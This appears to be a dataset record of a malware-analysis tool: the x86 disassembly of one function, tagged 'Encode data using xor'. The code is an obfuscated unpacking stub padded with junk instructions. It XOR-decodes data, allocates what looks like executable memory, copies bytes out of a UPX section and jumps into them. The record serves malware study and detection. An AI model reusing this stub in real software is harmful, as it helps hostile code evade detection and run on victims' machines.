Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc2d30e27
mov edi, 0x1267f12c
inc ebx
popal
mov ebx, edi
sub edi, 1
inc ebx
mov edi, 0
mov esi, edx
add eax, 0x351996ee
or eax, eax
mov ebx, esi
add ecx, 0x828ed108
add eax, ecx
add ecx, ecx
mov edx, ebx
add eax, 0x632a1643
add eax, ecx
add ecx, eax
inc edi
mov ecx, 0x741a5d48
dec eax
and ecx, ecx
cmp edi, 0x10032c6
jne 0xa789c7
or ecx, ecx
dec eax
sub ebx, 0xe16dd78d
sub edi, 0x323708cf
mov esi, 0xa78796
and eax, ecx
sub ecx, 0xaf491221
mov edi, 0xa7898a
sub eax, 0x1d11e599
and ecx, ecx
mov ebx, dword [esi]
mov eax, 0x48336949
add ecx, 0x675ba7be
sub edx, 0x79d5b95
and ebx, 0xff
and eax, ecx
add eax, ecx
not eax
xor dword [edi], ebx
not edx
sub edx, ecx
or edx, edx
inc edi
sub ecx, 0xfad6a747
not ecx
sub edx, eax
inc esi
sub edx, 0xf7fb7627
mov edx, ecx
cmp edi, entry0
jl 0xa78a27
dec ecx
and eax, eax
or eax, edx
dec edx
sub esi, edx
dec ebx
mov edi, 0xa7898e
or esi, esi
not ecx
sub ebx, edx
mov edi, dword [edi]
and ebx, ebx
sub edx, 1
mov edi, dword [edi]
not esi
add ebx, 0x33bc5d68
push edi
sub ecx, esi
sub ebx, 0x55d7350e
sub ebx, 0x20a33231
mov edi, 0xa7898a
add ecx, 1
mov ecx, 0x19d201f3
mov edi, dword [edi]
not edx
sub esi, ebx
mov edi, dword [edi]
and esi, ecx
sub edx, 0xca75b638
or ecx, esi
push 0xa78992
sub ebx, 1
not ecx
call edi
sub edx, ecx
add ecx, esi
add esi, ebx
pop edi
mov ebx, ecx
sub edx, 0x77c01b1a
add ecx, 0xd6a8274d
push 0xa7899f
not ebx
dec ecx
push eax
and ebx, ebx
add esi, esi
add esi, esi
call edi
dec ebx
sub ecx, ebx
push 0x40
dec edx
and ecx, ecx
add ebx, 0x7ba3af03
push 0x3000
mov edx, ecx
mov edx, 0x52ab3ef8
mov esi, 0x266fda0
push 0x200003e8
mov edx, ecx
and ecx, esi
push 0
sub edx, ecx
or ebx, ecx
call eax
mov ebx, 0x5767c921
and ebx, ecx
add eax, 0x20000321
not ebx
add ecx, esi
mov edi, 0x1a7aea97
dec edx
sub edx, 1
inc ebx
mov dword [eax], edi
not esi
dec ecx
dec edx
mov edi, dword [eax]
and ebx, ecx
inc esi
not ecx
cmp edi, 0x1a7aea97
je 0xa78b6c
mov edx, 0
mov ebx, dword [edx]
or ecx, ecx
sub ebx, 0xcbdc3ca4
mov ecx, edx
and ebx, ebx
add edx, 0x5debf310
add edi, 0x329e5d2f
sub edi, 1
mov esi, section.UPX1
sub edi, ebx
inc ebx
mov edx, 0xa78795
and ebx, edi
and edi, edi
mov ebx, 0xe7514962
mov eax, 0
and edi, ebx
add ebx, edi
mov ecx, 0xa78796
and ebx, ebx
mov ebx, 0x6d032da1
lea ecx, [eax + ecx]
sub ebx, edi
add edi, edi
add ebx, 0x162ecda1
mov ecx, dword [ecx]
add edi, edi
sub edi, 0xd5250282
sub ebx, edi
and ecx, 0xff
add edi, ebx
inc ebx
sub ebx, edi
inc eax
dec ebx
dec edi
or ebx, edi
cmp eax, 0x1f4
jne 0xa78beb
mov eax, 0
sub edi, 0x6b742f31
and edi, edi
mov ebx, 0x648be9ce
not ebx
xor dword [esi], ecx
add ebx, 1
sub ebx, 0x2920248a
add ebx, 0x72363f4f
add esi, 2
sub ebx, 0xb2536dbd
mov edi, ebx
cmp esi, edx
jl 0xa78ba9
sub ebx, 1
mov edi, ebx
add edi, edi
sub ebx, 0xd7668b6d
add ebx, 0x4f1f1a9
mov esi, section.UPX1
add edi, 0xc022b433
add edi, edi
mov ecx, section.UPX1
mov ebx, edi
add edi, edi
sub ebx, 0x32fc3c09
mov edx, 0xa78795
add edi, edi
add edi, 1
mov eax, 0
mov ebx, edi
mov edi, ebx
sub ebx, edi
mov al, byte [ecx]
add ebx, edi
and edi, edi
sub edi, 0x88ebd950
mov byte [esi], al
mov ebx, 0x69b3e2eb
add edi, ebx
add esi, 1
and ebx, ebx
add ebx, 0x758b4b60
mov ebx, edi
add ecx, 2
mov ebx, edi
add ebx, 0x1120bbf9
not ebx
cmp ecx, edx
jle 0xa78c6e
dec ebx
mov ebx, edi
add edi, edi
mov ebx, edi
push 0x8dc6a0
or ebx, ebx
add ebx, 0x133c7f0a
ret